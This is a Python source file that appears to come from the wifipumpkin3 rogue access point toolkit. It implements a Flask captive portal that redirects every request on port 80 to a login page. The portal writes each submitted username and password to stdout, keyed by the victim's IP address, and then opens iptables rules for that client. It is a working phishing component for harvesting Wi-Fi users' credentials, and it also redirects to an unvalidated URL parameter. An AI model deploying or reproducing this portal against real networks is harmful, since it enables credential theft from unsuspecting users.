wifipumpkin3/bin/captiveflask

#!/usr/bin/env python3.7

from flask import Flask, request, redirect, render_template, Response
from urllib.parse import urlencode, unquote
import os, sys
import subprocess
import argparse

# app = Flask(__name__,static_url_path='/templates/flask/static',
#             static_folder='templates/flask/static',
#             template_folder='templates/flask')
app = Flask(__name__)


def login_user(ip):
    subprocess.call(
        ["iptables", "-t", "nat", "-I", "PREROUTING", "1", "-s", ip, "-j", "ACCEPT"]
    )
    subprocess.call(["iptables", "-I", "FORWARD", "-s", ip, "-j", "ACCEPT"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if (
        request.method == "POST"
        and "login" in request.form
        and "password" in request.form
    ):
        sys.stdout.write(
            str(
                {
                    request.remote_addr: {
                        "login": request.form["login"],
                        "password": request.form["password"],
                    }
                }
            )
        )
        sys.stdout.flush()
        login_user(request.remote_addr)
        if "orig_url" in request.args and len(request.args["orig_url"]) > 0:
            return redirect(unquote(request.args["orig_url"]))
        else:
            return render_template("templates/login_successful.html")
    else:
        return render_template(
            "templates/login.html",
            orig_url=urlencode({"orig_url": request.args.get("orig_url", "")}),
        )


@app.route("/favicon.ico")
def favicon():
    return app.send_static_file("templates/favicon.ico")


@app.route("/", defaults={"path": ""})
@app.route("/<path:path>")
def catch_all(path):
    global REDIRECT
    return redirect(
        "http://{}/login?".format(REDIRECT) + urlencode({"orig_url": request.url})
    )


_version = "1.0.1"

if __name__ == "__main__":
    print("[*] CaptiveFlask v{} - subtool from wifipumpkin3".format(_version))
    parser = argparse.ArgumentParser(
        description="CaptiveFlask - \
    Server to create captive portal with flask\n doc: https://github.com/mh4x0f/captiveportals"
    )
    parser.add_argument(
        "-t", "--tamplate", dest="template", help="path the theme login captive portal"
    )
    parser.add_argument(
        "-s", "--static", dest="static", help="path  of the static files from webpage"
    )
    parser.add_argument(
        "-r",
        "--redirect",
        dest="redirect",
        help="IpAddress from gataway captive portal",
    )
    parser.add_argument("-v", "--version", dest="version", help="show version the tool")
    args = parser.parse_args()
    REDIRECT = args.redirect

    app.static_url_path = "\{}".format(args.static)
    app.static_folder = "{}".format(args.static)
    app.template_folder = args.template

    app.run("0.0.0.0", port=80)